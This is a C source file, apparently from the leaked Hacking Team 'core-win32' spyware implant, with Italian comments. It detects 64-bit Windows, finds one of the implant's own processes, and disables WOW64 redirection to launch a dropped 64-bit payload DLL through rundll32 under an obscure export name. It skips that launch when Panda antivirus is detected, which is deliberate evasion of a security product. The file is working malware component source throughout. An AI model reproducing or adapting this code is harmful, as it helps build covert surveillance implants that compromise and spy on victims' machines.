hackedteam/core-win32

#include <windows.h>
#include <Tlhelp32.h>
#include "HM_SafeProcedures.h"
#include "H4-DLL.h"
#include "common.h"

typedef void (__stdcall *Sleep_t)(DWORD);

typedef BOOL (__stdcall *IsWow64Process_PROC)(HANDLE, BOOL*);
typedef void (__stdcall *GetNativeSystemInfo_PROC)(LPSYSTEM_INFO);
typedef BOOL (__stdcall *Wow64DisableWow64FsRedirection_PROC)(PVOID *OldValue);
typedef BOOL (__stdcall *Wow64RevertWow64FsRedirection_PROC)(PVOID OldValue);

extern BOOL IsMyProcess(DWORD pid);

#define INVALID_FUNC_PTR (void *)0xFFFFFFFF

HANDLE core64_process = NULL;

BOOL IsX64Process(DWORD InProcessId)
{
    HANDLE hProc = NULL;
    static IsWow64Process_PROC pIsWow64Process = (IsWow64Process_PROC)INVALID_FUNC_PTR;
    static GetNativeSystemInfo_PROC pGetNativeSystemInfo = (GetNativeSystemInfo_PROC)INVALID_FUNC_PTR;
    BOOL IsTargetWOW64 = FALSE;
    SYSTEM_INFO SysInfo;

    if (pIsWow64Process == INVALID_FUNC_PTR) {// Solo la prima volta cerca la funzione
        pIsWow64Process = (IsWow64Process_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "IsWow64Process");
        pGetNativeSystemInfo = (GetNativeSystemInfo_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "GetNativeSystemInfo");
    }

    if (!pIsWow64Process || !pGetNativeSystemInfo)
        return FALSE;

    pGetNativeSystemInfo(&SysInfo);
    if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
        return FALSE;

    if((hProc = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, InProcessId)) == NULL)
        return FALSE;

    if(!pIsWow64Process(hProc, &IsTargetWOW64) || IsTargetWOW64) {
        CloseHandle(hProc);
        return FALSE;
    }

    CloseHandle(hProc);
    return TRUE;
}


BOOL IsX64System()
{    
    static GetNativeSystemInfo_PROC pGetNativeSystemInfo = (GetNativeSystemInfo_PROC)INVALID_FUNC_PTR;
    SYSTEM_INFO SysInfo;

    if (pGetNativeSystemInfo == INVALID_FUNC_PTR)
        pGetNativeSystemInfo = (GetNativeSystemInfo_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "GetNativeSystemInfo");

    if(pGetNativeSystemInfo == NULL)
        return FALSE;

    pGetNativeSystemInfo(&SysInfo);

    if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
        return FALSE;

    return TRUE;
}

DWORD Find32BitProcess()
{
    DWORD pid = 0, curr_pid = 0;
    HANDLE hProcessSnap;
    HANDLE hProc;
    PROCESSENTRY32 pe32;

    curr_pid = GetCurrentProcessId();
    pe32.dwSize = sizeof( PROCESSENTRY32 );
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE ) 
        return 0;

    if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return 0;
    }

    // Cicla la lista dei processi attivi
    do {
        if (pe32.th32ProcessID!=curr_pid && !IsX64Process(pe32.th32ProcessID) && IsMyProcess(pe32.th32ProcessID)) {
            hProc = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
            if (hProc) {
                CloseHandle(hProc);
                pid = pe32.th32ProcessID;
                break;
            }
        }
    } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );
    CloseHandle( hProcessSnap );
    return pid;
}

#define INVALID_REDIRECTION_VALUE (PVOID)0xA9C7E4F2
PVOID DisableWow64Fs()
{
    PVOID OldValue = INVALID_REDIRECTION_VALUE;
    Wow64DisableWow64FsRedirection_PROC pWow64DisableWow64FsRedirection;

    if (!IsX64System())
        return INVALID_REDIRECTION_VALUE;

    pWow64DisableWow64FsRedirection = (Wow64DisableWow64FsRedirection_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "Wow64DisableWow64FsRedirection"); 
    if (!pWow64DisableWow64FsRedirection)
        return INVALID_REDIRECTION_VALUE;

    if (!pWow64DisableWow64FsRedirection(&OldValue))
        return INVALID_REDIRECTION_VALUE;

    return OldValue;
}

void RevertWow64Fs(PVOID OldValue)
{
    Wow64RevertWow64FsRedirection_PROC pWow64RevertWow64FsRedirection;

    if (OldValue == INVALID_REDIRECTION_VALUE)
        return;

    if (!IsX64System())
        return;

    pWow64RevertWow64FsRedirection = (Wow64RevertWow64FsRedirection_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "Wow64RevertWow64FsRedirection"); 
    if (!pWow64RevertWow64FsRedirection)
        return;

    pWow64RevertWow64FsRedirection(OldValue);
}

extern BOOL IsPanda64();
void Run64Core()
{
    char dll64_path[MAX_PATH];
    char cmd_line[MAX_PATH*2];
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hfile;
    PVOID OldValue = NULL;
    Wow64DisableWow64FsRedirection_PROC pWow64DisableWow64FsRedirection;
    Wow64RevertWow64FsRedirection_PROC pWow64RevertWow64FsRedirection;

    if (!IsX64System())
        return;

    // Se e' presente Panda64 il modulo a 64 bit fa danni
    if (IsPanda64())
        return;

    pWow64DisableWow64FsRedirection = (Wow64DisableWow64FsRedirection_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "Wow64DisableWow64FsRedirection"); 
    pWow64RevertWow64FsRedirection = (Wow64RevertWow64FsRedirection_PROC)HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "Wow64RevertWow64FsRedirection"); 

    if (!pWow64DisableWow64FsRedirection || !pWow64RevertWow64FsRedirection)
        return;

    // Se il file non e' stato droppato, non cerca di caricarlo
    HM_CompletePath(H64DLL_NAME, dll64_path);
    hfile = CreateFileA(dll64_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    if (hfile == INVALID_HANDLE_VALUE)
        return;
    CloseHandle(hfile);

    // crea la command line
    memset(cmd_line, 0, sizeof(cmd_line));
    FNC(GetSystemDirectoryA)(cmd_line, sizeof(cmd_line));
    strcat(cmd_line, "\\rundll32.exe ");

    // Path alla DLL e nome funzione
    strcat(cmd_line, "\""); // Per sicurezza...
    strcat(cmd_line, dll64_path);
    strcat(cmd_line, "\""); // ...metto il path alla dll fra ""
    strcat(cmd_line, ",PPPFTBBP10"); 

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    // Lancia rundll32 a 64bit
    if(pWow64DisableWow64FsRedirection(&OldValue))  {
        IndirectCreateProcess(cmd_line, 0, &si, &pi, FALSE);
        pWow64RevertWow64FsRedirection(OldValue);
    }

    core64_process = pi.hProcess;    
}

void Kill64Core()
{
    if (core64_process)
        FNC(TerminateProcess)(core64_process, 0);
}